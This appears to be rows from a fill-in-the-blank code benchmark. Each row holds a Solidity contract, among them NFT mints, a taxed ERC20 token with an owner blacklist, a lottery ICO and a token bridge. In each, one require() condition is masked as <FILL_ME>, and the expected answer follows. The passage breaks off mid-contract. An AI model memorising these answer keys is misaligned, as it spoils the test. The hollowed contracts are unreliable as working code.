import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "./ERC721Punko.sol";
contract PunkoPixel is ERC721Punko, Ownable, ReentrancyGuard {
address public tokenContract;
using SafeERC20 for IERC20;
mapping (address => uint256) public walletPunko;
mapping(uint256 => uint256) public PunkoTokenUpgrade;
string public baseURI;
bool public mintPunkolistedEnabled = false;
bool public mintPublicPunkoEnabled = false;
bytes32 public merkleRoot;
uint public freePunko = 1;
uint public maxPankoPerTx = 2;
uint public maxPerWallet = 2;
uint public maxPanko = 777;
uint public pankoPrice = 77000000000000000; //0.077 ETH
uint public PriceETHpunkoUpgrade = 0;
uint public PricePuncoinPunkoUpgrade = 0;
constructor() ERC721Punko("Punko Pixel", "Punko",10,777){}
function PunkolistedMint(uint256 qty, bytes32[] calldata _merkleProof) external payable
{
}
function PublicPankoMint(uint256 qty) external payable
{
}
function Upgrading(uint256 tokenId) external payable{
}
function _mint(uint qty) internal {
if(walletPunko[msg.sender] < freePunko)
{
if(qty < freePunko) qty = freePunko;
require(<FILL_ME>)
walletPunko[msg.sender] += qty;
_safeMint(msg.sender, qty);
}
else
{
require(msg.value >= qty * pankoPrice,"Punko Pixel: Normal");
walletPunko[msg.sender] += qty;
_safeMint(msg.sender, qty);
}
}
function numberMinted(address owner) public view returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setMerkleRoot(bytes32 root) public onlyOwner {
}
function airdropPunko(address to ,uint256 qty) external onlyOwner
{
}
function PunkoOwnerMint(uint256 qty) external onlyOwner
{
}
function togglePublicPunkoMinting() external onlyOwner {
}
function toggleWhitelistPunkoMinting() external onlyOwner {
}
function setTokenContract(address _tokenContract) external onlyOwner{
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function setPrice(uint256 price_) external onlyOwner {
}
function setmaxPankoPerTx(uint256 maxPankoPerTx_) external onlyOwner {
}
function setmaxFreePankoPerTx(uint256 freePunko_) external onlyOwner {
}
function setMaxPerWallet(uint256 maxPerWallet_) external onlyOwner {
}
function setmaxPanko(uint256 maxPanko_) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| msg.value>=(qty-freePunko)*pankoPrice,"Punko Pixel: Claim Free" | 153,682 | msg.value>=(qty-freePunko)*pankoPrice |
"ERROR: Botter already exist !" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
/*
Bomba B0mba BOMB4 BomBAAA B()mba bOmBa BoMbA!
TG：https://t.me/BombaERC
X：https://twitter.com/BombaDaCoin
WEB：https://www.bombacoin.xyz/
*/
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract BOMBA
is ERC20("Bomba", "$BOMBA"), Ownable {
// Uniswap variables
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
// Contract variables
uint256 constant TOTAL_SUPPLY = 42_000_000_000 ether;
address constant BURN_ADDRESS = address(0xdead);
uint256 public launchedOnBlock;
// Max buy | sell | wallet amount
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
// Swap back variables
bool private swapping;
uint256 public swapTokensAtAmount;
// Tax fee recipients
address public treasuryWallet;
address public devWallet;
// Trading state variables
bool public limitsActive = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Tax fees
uint256 public totalBuyFees = 25;
uint256 public treasuryBuyFee = 25;
uint256 public devBuyFee = 0;
uint256 public totalSaleFees = 25;
uint256 public treasurySellFee = 25;
uint256 public devSellFee = 0;
uint256 public treasuryTokens;
uint256 public devTokens;
// Mappings
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public isBot;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedTreasuryWallet(address indexed newWallet);
event UpdatedDevWallet(address indexed newWallet);
event UpdatedRewardsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function launchToken() public onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
// To remove tax limits on buys/sales
function removeLimits() external onlyOwner {
}
// Update wallet recipients
function setTreasuryWallet(address _treasuryWallet) external onlyOwner {
}
function setDevWallet(address _devWallet) external onlyOwner {
}
// Update tax amounts
function updateTaxFees(
uint256 _newTreasurySellFee,
uint256 _newTreasuryBuyFee
) external onlyOwner {
}
// Exclude from restrictions & fees
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
// Blacklist functions (remove | add)
function addBotterToList(address _account) external onlyOwner {
require(
_account != address(UNISWAP_ROUTER),
"ERROR: Cannot blacklist Uniswap Router !"
);
require(<FILL_ME>)
isBot[_account] = true;
}
function removeBotterFromList(address _account) external onlyOwner {
}
// TRADING GOVERNANCE
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
// NOTE: ARGUMENT IN ETHER (1e18)
function airdropTokens(
address[] calldata addresses,
uint256[] calldata amounts
) external onlyOwner {
}
// to withdarw ETH from contract
// NOTE: ARGUMENT IN WEI
function withdrawETH(uint256 _amount) external onlyOwner {
}
// to withdraw ERC20 tokens from contract
// NOTE: ARGUMENT IN WEI
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
}
// DISABLE TRADING | EMERGENCY USE ONLY
function updateTradingStatus(bool enabled) external onlyOwner {
}
}
| !isBot[_account],"ERROR: Botter already exist !" | 153,694 | !isBot[_account] |
"ERROR: Address not found in Bots !" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
/*
Bomba B0mba BOMB4 BomBAAA B()mba bOmBa BoMbA!
TG：https://t.me/BombaERC
X：https://twitter.com/BombaDaCoin
WEB：https://www.bombacoin.xyz/
*/
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract BOMBA
is ERC20("Bomba", "$BOMBA"), Ownable {
// Uniswap variables
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
// Contract variables
uint256 constant TOTAL_SUPPLY = 42_000_000_000 ether;
address constant BURN_ADDRESS = address(0xdead);
uint256 public launchedOnBlock;
// Max buy | sell | wallet amount
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
// Swap back variables
bool private swapping;
uint256 public swapTokensAtAmount;
// Tax fee recipients
address public treasuryWallet;
address public devWallet;
// Trading state variables
bool public limitsActive = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Tax fees
uint256 public totalBuyFees = 25;
uint256 public treasuryBuyFee = 25;
uint256 public devBuyFee = 0;
uint256 public totalSaleFees = 25;
uint256 public treasurySellFee = 25;
uint256 public devSellFee = 0;
uint256 public treasuryTokens;
uint256 public devTokens;
// Mappings
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public isBot;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedTreasuryWallet(address indexed newWallet);
event UpdatedDevWallet(address indexed newWallet);
event UpdatedRewardsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function launchToken() public onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
// To remove tax limits on buys/sales
function removeLimits() external onlyOwner {
}
// Update wallet recipients
function setTreasuryWallet(address _treasuryWallet) external onlyOwner {
}
function setDevWallet(address _devWallet) external onlyOwner {
}
// Update tax amounts
function updateTaxFees(
uint256 _newTreasurySellFee,
uint256 _newTreasuryBuyFee
) external onlyOwner {
}
// Exclude from restrictions & fees
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
// Blacklist functions (remove | add)
function addBotterToList(address _account) external onlyOwner {
}
function removeBotterFromList(address _account) external onlyOwner {
require(<FILL_ME>)
isBot[_account] = false;
}
// TRADING GOVERNANCE
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
// NOTE: ARGUMENT IN ETHER (1e18)
function airdropTokens(
address[] calldata addresses,
uint256[] calldata amounts
) external onlyOwner {
}
// to withdarw ETH from contract
// NOTE: ARGUMENT IN WEI
function withdrawETH(uint256 _amount) external onlyOwner {
}
// to withdraw ERC20 tokens from contract
// NOTE: ARGUMENT IN WEI
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
}
// DISABLE TRADING | EMERGENCY USE ONLY
function updateTradingStatus(bool enabled) external onlyOwner {
}
}
| isBot[_account],"ERROR: Address not found in Bots !" | 153,694 | isBot[_account] |
"ERROR: Bot detected !" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
/*
Bomba B0mba BOMB4 BomBAAA B()mba bOmBa BoMbA!
TG：https://t.me/BombaERC
X：https://twitter.com/BombaDaCoin
WEB：https://www.bombacoin.xyz/
*/
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract BOMBA
is ERC20("Bomba", "$BOMBA"), Ownable {
// Uniswap variables
IUniswapV2Factory public constant UNISWAP_FACTORY =
IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
IUniswapV2Router02 public constant UNISWAP_ROUTER =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public immutable UNISWAP_V2_PAIR;
// Contract variables
uint256 constant TOTAL_SUPPLY = 42_000_000_000 ether;
address constant BURN_ADDRESS = address(0xdead);
uint256 public launchedOnBlock;
// Max buy | sell | wallet amount
uint256 public maxBuyAmount;
uint256 public maxSellAmount;
uint256 public maxWalletAmount;
// Swap back variables
bool private swapping;
uint256 public swapTokensAtAmount;
// Tax fee recipients
address public treasuryWallet;
address public devWallet;
// Trading state variables
bool public limitsActive = true;
bool public tradingActive = false;
bool public swapEnabled = false;
// Tax fees
uint256 public totalBuyFees = 25;
uint256 public treasuryBuyFee = 25;
uint256 public devBuyFee = 0;
uint256 public totalSaleFees = 25;
uint256 public treasurySellFee = 25;
uint256 public devSellFee = 0;
uint256 public treasuryTokens;
uint256 public devTokens;
// Mappings
mapping(address => bool) private _isExcludedFromFees;
mapping(address => bool) public _isExcludedMaxTransactionAmount;
mapping(address => bool) public isBot;
event EnabledTrading(bool tradingActive);
event RemovedLimits();
event ExcludeFromFees(address indexed account, bool isExcluded);
event UpdatedMaxBuyAmount(uint256 newAmount);
event UpdatedMaxSellAmount(uint256 newAmount);
event UpdatedMaxWalletAmount(uint256 newAmount);
event UpdatedTreasuryWallet(address indexed newWallet);
event UpdatedDevWallet(address indexed newWallet);
event UpdatedRewardsAddress(address indexed newWallet);
event MaxTransactionExclusion(address _address, bool excluded);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiquidity
);
constructor() Ownable(msg.sender) {
}
receive() external payable {}
function launchToken() public onlyOwner {
}
function updateMaxBuyAmount(uint256 newNum) external onlyOwner {
}
function updateMaxSellAmount(uint256 newNum) external onlyOwner {
}
// To remove tax limits on buys/sales
function removeLimits() external onlyOwner {
}
// Update wallet recipients
function setTreasuryWallet(address _treasuryWallet) external onlyOwner {
}
function setDevWallet(address _devWallet) external onlyOwner {
}
// Update tax amounts
function updateTaxFees(
uint256 _newTreasurySellFee,
uint256 _newTreasuryBuyFee
) external onlyOwner {
}
// Exclude from restrictions & fees
function _excludeFromMaxTransaction(
address updAds,
bool isExcluded
) private {
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
}
// Blacklist functions (remove | add)
function addBotterToList(address _account) external onlyOwner {
}
function removeBotterFromList(address _account) external onlyOwner {
}
// TRADING GOVERNANCE
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERROR ERC20: transfer from the zero address !");
require(to != address(0), "ERROR ERC20: transfer to the zero address !");
require(amount > 0, "ERROR: Amount must be greater than 0 !");
require(<FILL_ME>)
require(!isBot[from], "ERROR: Bot detected !");
if (limitsActive) {
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead)
) {
if (!tradingActive) {
require(
_isExcludedMaxTransactionAmount[from] || _isExcludedMaxTransactionAmount[to],
"ERROR: Trading is not active !"
);
require(from == owner(), "ERROR: Trading is active !");
}
//when buy
if (
from == UNISWAP_V2_PAIR && !_isExcludedMaxTransactionAmount[to]
) {
require(
amount <= maxBuyAmount,
"ERROR: Buy amount limit exceeded !"
);
require(
amount + balanceOf(to) <= maxWalletAmount,
"ERROR: Max wallet amount exceeded !"
);
}
//when sell
else if (
to == UNISWAP_V2_PAIR && !_isExcludedMaxTransactionAmount[from]
) {
require(
amount <= maxSellAmount,
"ERROR: Sale amount limit exceeded !"
);
} else if (
!_isExcludedMaxTransactionAmount[to] &&
!_isExcludedMaxTransactionAmount[from]
) {
require(
amount + balanceOf(to) <= maxWalletAmount,
"ERROR: Max wallet amount exceeded !"
);
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!(from == UNISWAP_V2_PAIR) &&
!_isExcludedFromFees[from] &&
!_isExcludedFromFees[to]
) {
swapping = true;
swapBack();
swapping = false;
}
bool takeFee = true;
// if any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
takeFee = false;
}
uint256 fees = 0;
// only take fees on buys/sells, do not take on wallet transfers
if (takeFee) {
// on sell
if (to == UNISWAP_V2_PAIR && totalSaleFees > 0) {
fees = (amount * totalSaleFees) / 100;
treasuryTokens += (fees * treasurySellFee) / totalSaleFees;
devTokens += (fees * devSellFee) / totalSaleFees;
}
// on buy
else if (from == UNISWAP_V2_PAIR && totalBuyFees > 0) {
fees = (amount * totalBuyFees) / 100;
treasuryTokens += (fees * treasuryBuyFee) / totalBuyFees;
devTokens += (fees * devBuyFee) / totalBuyFees;
}
if (fees > 0) {
super._transfer(from, address(this), fees);
}
amount -= fees;
}
super._transfer(from, to, amount);
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function swapBack() private {
}
// NOTE: ARGUMENT IN ETHER (1e18)
function airdropTokens(
address[] calldata addresses,
uint256[] calldata amounts
) external onlyOwner {
}
// to withdarw ETH from contract
// NOTE: ARGUMENT IN WEI
function withdrawETH(uint256 _amount) external onlyOwner {
}
// to withdraw ERC20 tokens from contract
// NOTE: ARGUMENT IN WEI
function withdrawToken(IERC20 _token, uint256 _amount) external onlyOwner {
}
// DISABLE TRADING | EMERGENCY USE ONLY
function updateTradingStatus(bool enabled) external onlyOwner {
}
}
| !isBot[to],"ERROR: Bot detected !" | 153,694 | !isBot[to] |
"Collection is full" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract ShittingGoblins is ERC721A, Ownable {
uint256 public price;
uint256 public maxMintPerTx;
uint256 public immutable collectionSize;
string public baseUri;
bool public open = false;
address[] public allowList;
constructor(
string memory _name,
string memory _symbol,
uint256 _price,
uint256 _maxMintPerTx,
uint256 _collectionSize
) ERC721A(_name, _symbol) {
}
// Events
event PriceChanged(uint256 newPrice);
event MaxMintPerTxChanged(uint256 newMaxMintPerTx);
// Minting & Transfering
function mint(uint256 _quantity) external payable {
unchecked {
require(open, "Minting has not started yet");
require(_quantity <= maxMintPerTx, "Quantity is too large");
require(msg.value >= price * _quantity, "Sent Ether is too low");
require(<FILL_ME>)
}
_safeMint(msg.sender, _quantity);
}
function transfer(address _to, uint256 _tokenId) external {
}
// TokenURIs
function _baseURI() internal view override returns (string memory) {
}
// Utils
function setPrice(uint256 _newPrice) external onlyOwner {
}
function setMaxMintPerTx(uint256 _newMaxMintPerTx) external onlyOwner {
}
function setBaseURI(string calldata _newBaseURI) external onlyOwner {
}
function withdrawMoney() external onlyOwner {
}
function setOpen(bool _value) external onlyOwner {
}
// Allowlist
function addToAllowList(address _address) external onlyOwner {
}
function allowListMint() external {
}
// Overrides from ERC721A
// ERC721A starts counting tokenIds from 0, this contract starts from 1
function _startTokenId() internal pure override returns (uint256) {
}
// ERC721A has no file extensions for its tokenURIs
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| totalSupply()+_quantity<=collectionSize,"Collection is full" | 153,816 | totalSupply()+_quantity<=collectionSize |
'the ICO is still open' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/security/Pausable.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/utils/Address.sol';
import "@openzeppelin/contracts/utils/structs/EnumerableMap.sol";
import './Controller.sol';
import './Lottery.sol';
import './Token.sol';
contract LotteryICO is Ownable, ReentrancyGuard, Pausable {
using Address for address payable;
using EnumerableMap for EnumerableMap.AddressToUintMap;
LotteryToken public immutable token;
Lottery public immutable lottery;
LotteryController public immutable controller;
// Absolute shares of the raised funds to distribute to each developer address.
EnumerableMap.AddressToUintMap private _developerShares;
// Price of 1 ELOT in wei.
uint256 public price;
// How much of the raised funds will be transferred to the developer addresses at closure (the
// rest will be transferred to the lottery). This number is a percentage with 2 decimal places
// represented as an integer without the decimal point; or, equivalently, a fraction between 0 and
// 1 multiplied by 10000 and rounded. For example, 4000 is 40%, 1234 is 12.34%, and 10000 is 100%.
uint16 public developerShare = 0;
// Whether the ELOT sale is open.
bool private _open = false;
// ELOT balance for every buyer.
mapping (address => uint256) public balance;
constructor(
LotteryToken _token,
Lottery _lottery,
LotteryController _controller,
uint256 initialPrice)
{
}
function tokensForSale() public view returns (uint256) {
}
function getDevelopers() public view returns (address[] memory) {
}
function getDeveloperShare(address developer) public view returns (uint) {
}
function setDeveloperShare(address developer, uint share) public onlyOwner returns (bool) {
}
function removeDeveloper(address developer) public onlyOwner returns (bool) {
}
function open(uint256 newPrice, uint16 newDeveloperShare) public onlyOwner {
}
function isOpen() public view returns (bool) {
}
function convertEtherToToken(uint256 etherAmount) public view returns (uint256) {
}
function buy() public payable whenNotPaused nonReentrant {
}
function close() public onlyOwner nonReentrant {
}
function claim() public nonReentrant whenNotPaused {
require(<FILL_ME>)
uint256 tokens = balance[msg.sender];
require(tokens > 0, 'no ELOT to claim');
balance[msg.sender] = 0;
token.transfer(msg.sender, tokens);
}
function sendRevenueBackToLottery() public onlyOwner nonReentrant {
}
}
| !_open,'the ICO is still open' | 153,969 | !_open |
'BridgeChain: token config not enabled' | contract BridgeChain is Ownable, Pausable {
using SafeMath for uint256;
using Address for address;
using ERC20Lib for IERC20;
address private constant feeToken = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private admin;
EnumerableSet.AddressSet private managers;
struct BridgeConfig {
address token;
uint256 fee;
uint256 singleMin;
uint256 singleMax;
bool enable;
}
//增加提取手续费方法
struct Fee {
uint256 totalFee;
uint256 currentFee;
}
// 资产统计
struct Assets {
uint256 totalRecharge;
uint256 totalWithdraw;
}
mapping(address => mapping(uint256 => BridgeConfig)) public configMapping;
mapping(address => mapping(address => uint256)) public recordMapping;
mapping(string => bool) backMapping;
mapping(uint256 => mapping(string => bool)) outMapping;
mapping(address => Assets) public assetsMapping;
mapping(address => Fee) public feeMapping;
event AddManager(address indexed operator, address manager);
event SetAdmin(address indexed operator, address oldAdmin, address newAdmin);
event AddConfig(address indexed operator, address token, uint256 toChain, uint256 fee, uint256 singleMin, uint256 singleMax);
event UpdateFee(address indexed operator, address token, uint256 toChain, uint256 oldFee, uint256 newFee);
event UpdateSingle(address indexed operator, address token, uint256 toChain, uint256 singleMin, uint256 singleMax);
event UpdateEnable(address indexed operator, address token, uint256 toChain, bool enable);
event BridgeIn(address indexed operator, address indexed receiver, address indexed token, uint256 toChain, uint256 amount, uint256 fee);
event BridgeBack(address indexed operator, address indexed receiver, address indexed token, uint256 amount, uint256 fee, string fromTxid);
event BridgeOut(address indexed operator, address indexed receiver, address indexed token, uint256 amount, uint256 fromChain, string fromTxid);
event Recharge(address indexed operator, address token, uint256 amount);
event Withdraw(address indexed operator, address indexed receiver, address token, uint256 amount);
event WithdrawFee(address indexed operator, address indexed receiver, address token, uint256 fee);
event WithdrawAllFee(address indexed operator, address indexed receiver, address[] token, uint256 fee);
modifier onlyManager() {
}
modifier onlyAdmin() {
}
modifier checkBridgeIn(address _receiver, address _token, uint256 _toChain, uint256 _amount) {
require(_receiver != address(0), 'BridgeChain: receiver is the zero address');
require(_token != address(0), 'BridgeChain: token is the zero address');
require(_amount > 0, 'BridgeChain: quantity cannot be zero');
BridgeConfig memory bridgeConfig = configMapping[_token][_toChain];
require(bridgeConfig.token != address(0), 'BridgeChain: token config does not exist');
require(<FILL_ME>)
require(_amount >= bridgeConfig.singleMin, 'BridgeChain: less than single minimum quantity');
require(_amount <= bridgeConfig.singleMax, 'BridgeChain: greater than the maximum quantity');
_;
}
constructor () public {
}
function bridgeIn(address _receiver, address _token, uint256 _toChain, uint256 _amount) external payable whenNotPaused checkBridgeIn(_receiver, _token, _toChain, _amount) {
}
function bridgeBack(address _receiver, address _token, uint256 _amount, uint256 _fee, string calldata _fromTxid) external onlyManager {
}
function bridgeOut(address _receiver, address _token, uint256 _amount, uint256 _fromChain, string memory _fromTxid) external onlyManager {
}
function recharge(address _token, uint256 _amount) external payable whenNotPaused {
}
function withdraw(address _receiver, address _token, uint256 _amount) external onlyAdmin {
}
function withdrawFee(address _receiver, address _token, uint256 _fee) external onlyManager {
}
function withdrawAllFee(address _receiver, address[] calldata _token) external onlyManager {
}
function setAdmin(address _admin) external onlyOwner returns (bool) {
}
function addManager(address _manager) external onlyOwner returns (bool) {
}
function delManager(address _manager) external onlyOwner returns (bool) {
}
function getManagerLength() public view returns (uint256) {
}
function getManager(uint256 _index) external view returns (address){
}
function isManager(address _manager) public view returns (bool) {
}
function addConfig(address _token, uint256 _toChain, uint256 _fee, uint256 _singleMin, uint256 _singleMax) external onlyManager returns (bool) {
}
function updateFee(address _token, uint256 _toChain, uint256 _fee) external onlyManager returns (bool) {
}
function updateSingle(address _token, uint256 _toChain, uint256 _singleMin, uint256 _singleMax) external onlyManager returns (bool) {
}
function updateEnable(address _token, uint256 _toChain, bool _enable) external onlyManager returns (bool) {
}
function pause() external onlyManager returns (bool) {
}
function unpause() external onlyManager returns (bool) {
}
}
| bridgeConfig.enable,'BridgeChain: token config not enabled' | 154,188 | bridgeConfig.enable |
'BridgeChain:: txid returned' | contract BridgeChain is Ownable, Pausable {
using SafeMath for uint256;
using Address for address;
using ERC20Lib for IERC20;
address private constant feeToken = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private admin;
EnumerableSet.AddressSet private managers;
struct BridgeConfig {
address token;
uint256 fee;
uint256 singleMin;
uint256 singleMax;
bool enable;
}
//增加提取手续费方法
struct Fee {
uint256 totalFee;
uint256 currentFee;
}
// 资产统计
struct Assets {
uint256 totalRecharge;
uint256 totalWithdraw;
}
mapping(address => mapping(uint256 => BridgeConfig)) public configMapping;
mapping(address => mapping(address => uint256)) public recordMapping;
mapping(string => bool) backMapping;
mapping(uint256 => mapping(string => bool)) outMapping;
mapping(address => Assets) public assetsMapping;
mapping(address => Fee) public feeMapping;
event AddManager(address indexed operator, address manager);
event SetAdmin(address indexed operator, address oldAdmin, address newAdmin);
event AddConfig(address indexed operator, address token, uint256 toChain, uint256 fee, uint256 singleMin, uint256 singleMax);
event UpdateFee(address indexed operator, address token, uint256 toChain, uint256 oldFee, uint256 newFee);
event UpdateSingle(address indexed operator, address token, uint256 toChain, uint256 singleMin, uint256 singleMax);
event UpdateEnable(address indexed operator, address token, uint256 toChain, bool enable);
event BridgeIn(address indexed operator, address indexed receiver, address indexed token, uint256 toChain, uint256 amount, uint256 fee);
event BridgeBack(address indexed operator, address indexed receiver, address indexed token, uint256 amount, uint256 fee, string fromTxid);
event BridgeOut(address indexed operator, address indexed receiver, address indexed token, uint256 amount, uint256 fromChain, string fromTxid);
event Recharge(address indexed operator, address token, uint256 amount);
event Withdraw(address indexed operator, address indexed receiver, address token, uint256 amount);
event WithdrawFee(address indexed operator, address indexed receiver, address token, uint256 fee);
event WithdrawAllFee(address indexed operator, address indexed receiver, address[] token, uint256 fee);
modifier onlyManager() {
}
modifier onlyAdmin() {
}
modifier checkBridgeIn(address _receiver, address _token, uint256 _toChain, uint256 _amount) {
}
constructor () public {
}
function bridgeIn(address _receiver, address _token, uint256 _toChain, uint256 _amount) external payable whenNotPaused checkBridgeIn(_receiver, _token, _toChain, _amount) {
}
function bridgeBack(address _receiver, address _token, uint256 _amount, uint256 _fee, string calldata _fromTxid) external onlyManager {
require(<FILL_ME>)
uint256 feeBalance = IERC20(feeToken).universalBalanceOf(address(this));
require(feeBalance >= _fee, 'BridgeChain: greater than current balance');
uint256 balance = IERC20(_token).universalBalanceOf(address(this));
require(balance >= _amount, 'BridgeChain: greater than current balance');
if (IERC20(_token).isBase()) {
require(balance >= _amount.add(_fee), 'BridgeChain: greater than current balance');
IERC20(_token).universalTransfer(_receiver, _amount.add(_fee));
} else {
IERC20(feeToken).universalTransfer(_receiver, _fee);
IERC20(_token).universalTransfer(_receiver, _amount);
}
Fee storage fee = feeMapping[_token];
fee.totalFee = fee.totalFee.sub(_fee);
fee.currentFee = fee.currentFee.sub(_fee);
uint256 record = recordMapping[_receiver][_token];
require(record >= _amount, 'BridgeChain: greater than current record');
recordMapping[_receiver][_token] = record.sub(_amount);
backMapping[_fromTxid] = true;
emit BridgeBack(msg.sender, _receiver, _token, _amount, _fee, _fromTxid);
}
function bridgeOut(address _receiver, address _token, uint256 _amount, uint256 _fromChain, string memory _fromTxid) external onlyManager {
}
function recharge(address _token, uint256 _amount) external payable whenNotPaused {
}
function withdraw(address _receiver, address _token, uint256 _amount) external onlyAdmin {
}
function withdrawFee(address _receiver, address _token, uint256 _fee) external onlyManager {
}
function withdrawAllFee(address _receiver, address[] calldata _token) external onlyManager {
}
function setAdmin(address _admin) external onlyOwner returns (bool) {
}
function addManager(address _manager) external onlyOwner returns (bool) {
}
function delManager(address _manager) external onlyOwner returns (bool) {
}
function getManagerLength() public view returns (uint256) {
}
function getManager(uint256 _index) external view returns (address){
}
function isManager(address _manager) public view returns (bool) {
}
function addConfig(address _token, uint256 _toChain, uint256 _fee, uint256 _singleMin, uint256 _singleMax) external onlyManager returns (bool) {
}
function updateFee(address _token, uint256 _toChain, uint256 _fee) external onlyManager returns (bool) {
}
function updateSingle(address _token, uint256 _toChain, uint256 _singleMin, uint256 _singleMax) external onlyManager returns (bool) {
}
function updateEnable(address _token, uint256 _toChain, bool _enable) external onlyManager returns (bool) {
}
function pause() external onlyManager returns (bool) {
}
function unpause() external onlyManager returns (bool) {
}
}
| !backMapping[_fromTxid],'BridgeChain:: txid returned' | 154,188 | !backMapping[_fromTxid] |
'BridgeChain: txid posted' | contract BridgeChain is Ownable, Pausable {
using SafeMath for uint256;
using Address for address;
using ERC20Lib for IERC20;
address private constant feeToken = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private admin;
EnumerableSet.AddressSet private managers;
struct BridgeConfig {
address token;
uint256 fee;
uint256 singleMin;
uint256 singleMax;
bool enable;
}
//增加提取手续费方法
struct Fee {
uint256 totalFee;
uint256 currentFee;
}
// 资产统计
struct Assets {
uint256 totalRecharge;
uint256 totalWithdraw;
}
mapping(address => mapping(uint256 => BridgeConfig)) public configMapping;
mapping(address => mapping(address => uint256)) public recordMapping;
